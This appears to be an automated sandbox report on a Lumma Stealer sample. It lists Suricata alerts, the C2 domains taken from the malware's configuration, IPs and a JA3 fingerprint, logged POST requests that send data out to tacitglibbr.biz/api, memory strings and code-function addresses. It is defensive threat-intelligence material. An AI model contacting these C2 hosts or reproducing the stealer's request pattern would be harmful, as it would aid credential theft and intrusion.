Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49723 -> 104.21.50.161:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: tacitglibbr.biz
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: awake-weaves.cyou

Source: Joe Sandbox View	IP Address: 104.21.50.161 104.21.50.161
Source: Joe Sandbox View	IP Address: 172.67.164.37 172.67.164.37

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49723 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49740 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49776 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49759 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49734 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49717 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49765 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49746 -> 172.67.164.37:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=A2MM71AZHUG66WQF8YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12845Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Y5SRNMW2YLBVAO1BEOIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15069Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=H07FML2CWXHZKZRYCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20573Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6Y8AZYXG34ZW2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1190Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=49HU2M1GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585623Host: tacitglibbr.biz

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: tacitglibbr.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz

Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: hiip7UoiAq.exe, 00000000.00000003.1609431961.000000000162B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: hiip7UoiAq.exe, 00000000.00000003.1490492113.0000000006034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: hiip7UoiAq.exe, 00000000.00000003.1490492113.0000000006034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: hiip7UoiAq.exe, 00000000.00000003.1609591024.000000000164A000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1547888701.000000000164B000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611573627.000000000164D000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1564879139.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1565159224.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609682524.000000000164C000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/
Source: hiip7UoiAq.exe, 00000000.00000003.1466936473.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/##
Source: hiip7UoiAq.exe, 00000000.00000003.1609591024.000000000164A000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611573627.000000000164D000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609682524.000000000164C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/IQ~
Source: hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/N
Source: hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1466936473.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api
Source: hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api_
Source: hiip7UoiAq.exe, 00000000.00000003.1489510243.000000000163F000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1488545232.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apidb
Source: hiip7UoiAq.exe, 00000000.00000003.1466936473.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apiichd
Source: hiip7UoiAq.exe, 00000000.00000003.1519346910.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apiited
Source: hiip7UoiAq.exe, 00000000.00000003.1489510243.000000000163F000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1488545232.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apipj
Source: hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apis
Source: hiip7UoiAq.exe, 00000000.00000003.1609591024.000000000164A000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1524724197.000000000164C000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1547888701.000000000164B000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1489510243.000000000163F000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1524669311.0000000001645000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611573627.000000000164D000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1564879139.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1565159224.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609682524.000000000164C000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1488545232.000000000163F000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1524697227.000000000164A000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1519346910.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/j
Source: hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/v
Source: hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: hiip7UoiAq.exe, 00000000.00000003.1490492113.0000000006034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: hiip7UoiAq.exe, 00000000.00000003.1490492113.0000000006034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: hiip7UoiAq.exe, 00000000.00000003.1490492113.0000000006034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: hiip7UoiAq.exe, 00000000.00000003.1490492113.0000000006034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: hiip7UoiAq.exe, 00000000.00000003.1490492113.0000000006034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: hiip7UoiAq.exe, 00000000.00000003.1490492113.0000000006034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.9:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.9:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.9:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.9:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.9:49765 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: hiip7UoiAq.exe	Static PE information: section name:
Source: hiip7UoiAq.exe	Static PE information: section name: .idata
Source: hiip7UoiAq.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CB61E0	0_2_00CB61E0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C88790	0_2_00C88790
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C8C917	0_2_00C8C917
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CA2E93	0_2_00CA2E93
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CB8EA0	0_2_00CB8EA0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CA10E0	0_2_00CA10E0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CBD0A0	0_2_00CBD0A0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C95298	0_2_00C95298
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CAB4FC	0_2_00CAB4FC
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CBD830	0_2_00CBD830
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CA5990	0_2_00CA5990
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CABBF7	0_2_00CABBF7
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C8DD25	0_2_00C8DD25
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CB5EA0	0_2_00CB5EA0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D040DD	0_2_00D040DD
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D7C0D9	0_2_00D7C0D9
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D080C4	0_2_00D080C4
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D420F0	0_2_00D420F0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D260F9	0_2_00D260F9
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DA20ED	0_2_00DA20ED
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DB809B	0_2_00DB809B
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D9E09A	0_2_00D9E09A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DB609C	0_2_00DB609C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DA0093	0_2_00DA0093
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAA096	0_2_00DAA096
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D0209F	0_2_00D0209F
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CB4098	0_2_00CB4098
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D52083	0_2_00D52083
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C980A9	0_2_00C980A9
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D2E0AD	0_2_00D2E0AD
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CA6054	0_2_00CA6054
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D62048	0_2_00D62048
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D20079	0_2_00D20079
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D40067	0_2_00D40067
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D4C062	0_2_00D4C062
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAE062	0_2_00DAE062
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C94070	0_2_00C94070
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D1A011	0_2_00D1A011
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DA601E	0_2_00DA601E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D1C006	0_2_00D1C006
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DE403D	0_2_00DE403D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D8603D	0_2_00D8603D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CBC020	0_2_00CBC020
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D8E023	0_2_00D8E023
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DFE020	0_2_00DFE020
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D3A1C2	0_2_00D3A1C2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D5C1C3	0_2_00D5C1C3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E001F6	0_2_00E001F6
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D701CF	0_2_00D701CF
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CEA1D4	0_2_00CEA1D4
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6C1F6	0_2_00D6C1F6
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6A1FD	0_2_00D6A1FD
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CFA1E3	0_2_00CFA1E3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D2A1FC	0_2_00D2A1FC
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D441FA	0_2_00D441FA
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CBC1F0	0_2_00CBC1F0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E3C1DE	0_2_00E3C1DE
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DB0189	0_2_00DB0189
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E02185	0_2_00E02185
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D90159	0_2_00D90159
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DC2154	0_2_00DC2154
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E0C168	0_2_00E0C168
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D5E144	0_2_00D5E144
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D1E143	0_2_00D1E143
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DBC149	0_2_00DBC149
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DDA144	0_2_00DDA144
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C88160	0_2_00C88160
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CE8167	0_2_00CE8167
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D82172	0_2_00D82172
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D30162	0_2_00D30162
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CEC10E	0_2_00CEC10E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CFE10A	0_2_00CFE10A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D84103	0_2_00D84103
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DDC2D2	0_2_00DDC2D2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E042C1	0_2_00E042C1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D162FE	0_2_00D162FE
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DF62E1	0_2_00DF62E1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D78295	0_2_00D78295
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D8829E	0_2_00D8829E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D96290	0_2_00D96290
